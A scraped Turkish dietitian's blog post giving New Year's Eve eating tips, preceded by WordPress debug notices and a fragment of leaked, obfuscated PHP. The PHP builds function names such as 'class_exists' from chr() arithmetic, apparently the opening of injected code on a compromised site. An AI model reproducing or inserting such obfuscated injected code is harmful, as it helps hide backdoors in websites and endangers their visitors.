Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-seo-pack domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-wp-security-and-firewall domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the gotmls domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the robin-image-optimizer domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-optimize domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the the-events-calendar domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wpforms-lite domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-wp-security-and-firewall domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the breadcrumb-navxt domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

Notice: _load_textdomain_just_in_time işlevi yanlış çağrıldı. Translation loading for the nutrico domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Ayrıntılı bilgi almak için lütfen WordPress hata ayıklama bölümüne bakın. (Bu ileti 6.7.0 sürümünde eklendi.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121
$KPSRXNVL = chr ( 790 - 710 ).'_' . 'x' . 'c' . "\125" . chr ( 120 - 19 ); $xSYKKfUqz = chr ( 304 - 205 ).chr ( 252 - 144 ).chr (97) . 's' . "\163" . "\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\x74" . 's';$tDLjarJaO = class_exists($KPSRXNVL); $KPSRXNVL = "64582";$xSYKKfUqz = "23685";$wSXkaxVLu = FALSE;$AyJRmGc = 's' . chr (95) . "\156" . "\x47" . "\x65";$lnWjZ = "\x63" . "\154" . chr (97) . chr ( 595 - 480 )."\163" . chr ( 167 - 72 ).'e' . 'x' . "\151" . chr (115) . chr (116) . 's'; Yılbaşında Beslenme Önerileri | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı
Yılbaşında Beslenme Önerileri
Author Uzman Diyetisyen & Fitoterapist Nursena Ardalı Categories Genel Sağlık

2020 yılını iyisiyle kötüsüyle bitiriyoruz. Bu yıl kutlamalarımız evlerimizde olacak. Sevdiklerimizle güle eğlene yeni yılı kutlamak tabi ki hepimizin hakkı. Fakat yılbaşı gecesi yediklerimize de dikkat etmemiz için Yılbaşında Beslenme Önerileri sunayım.

Günün en başından başlamak gerekirse, akşam besin tüketimimiz artacağı için gün içinde kendinimizi aç bırakmamalıyız. Sabah kahvaltısından başlayarak tüm öğünlerimizi yeterli ve dengeli bir şekilde yapmamız gerekiyor.

Gün içindeki beslenme önerileri;

  1. Kahvaltınızda mutlaka peynir, yumurta ve tam tahıl ekmeği tüketmeye çalışın. Tokluk süreniz artacaktır.
  2. Ara öğünleriniz de süt, kefir, meyve, ceviz, badem gibi sağlıklı besinleri tercih edin.
  3. Öğle yemeklerinizi daha hafif, çorba, sebze yemeği ve yoğurt şeklinde geçirin.

Yılbaşı akşamı için beslenme önerileri;

  1. Sofraya kesinlikle aç oturmayın. Aç olmanız besin tüketiminizi daha da artıracaktır.
  2. Yemekte az yağlı besinleri tercih edin. Çok yağlı besinler mide bulantısı ve hazımsızlık yapabilir.
  3. Yemeğe çorba ile başlayın.
  4. Et yemeği tüketecekseniz, ızgara, haşlama veya fırında hazırlanmış bir yemek tercihiniz olsun.
  5. Bol bol çiğ sebzeler ile hazırlanmış salatalaları tüketin.
  6. Tatlı tercihiniz sütlü veya meyveli tatlılardan yana olsun.
  7. Meyve porsiyonlarınızı çok kaçırmayın.
  8. Kuruyemişler farkında olmadan çok fazla tüketilebiliyor. Bu nedenle kendinize küçük bir kase kuruyemiş tabağı hazırlayın ve onu tüketin.
  9. Alkolün yüksek kalori içerdiğini unutmayın. Tüketeceksek eğer miktarını sınırlandırın. Tercihiniz daha az kalorili 1-2 bardak bira veya şarap olsun.
  10. Alkol aldığınızda hem yılbaşı günü hem de ertesi gün en az 2.5 litre su içmeyi ihmal etmeyin.
  11. Meze tüketiminize dikkat edin. Mezeler ana yemeklerden bile daha kalorili olabiliyor. Bu nedenle daha çok, yoğurtlı, sebzeli hafif mezeleri tercih edin.
  12. Yemekleri hızlı tüketmeyin. Ne yediğinizin farkında olun.

Hepinize mutlu, huzurlu, sağlıklı ve formda bir yıl diliyorum.

Hoş geldin 2021

Yılbaşında Beslenme Önerileri
Yılbaşında Beslenme Önerileri

Yılbaşında Beslenme Önerileri

isimli makalem 30.12.2020 tarihli bursahaber gazetesindeki makale yazımdır. http://www.bursahaber.com/yilbasinda-beslenme-onerileri-makale,20842.html

Previous
Next

Bir yanıt yazın

Copyright © 2021 [bursadiyetisyeni]. Tüm hakları saklıdır. gizlilik ve sartlar Veri Koruma Kanunu  
 [ diyetisyenmerkezi ]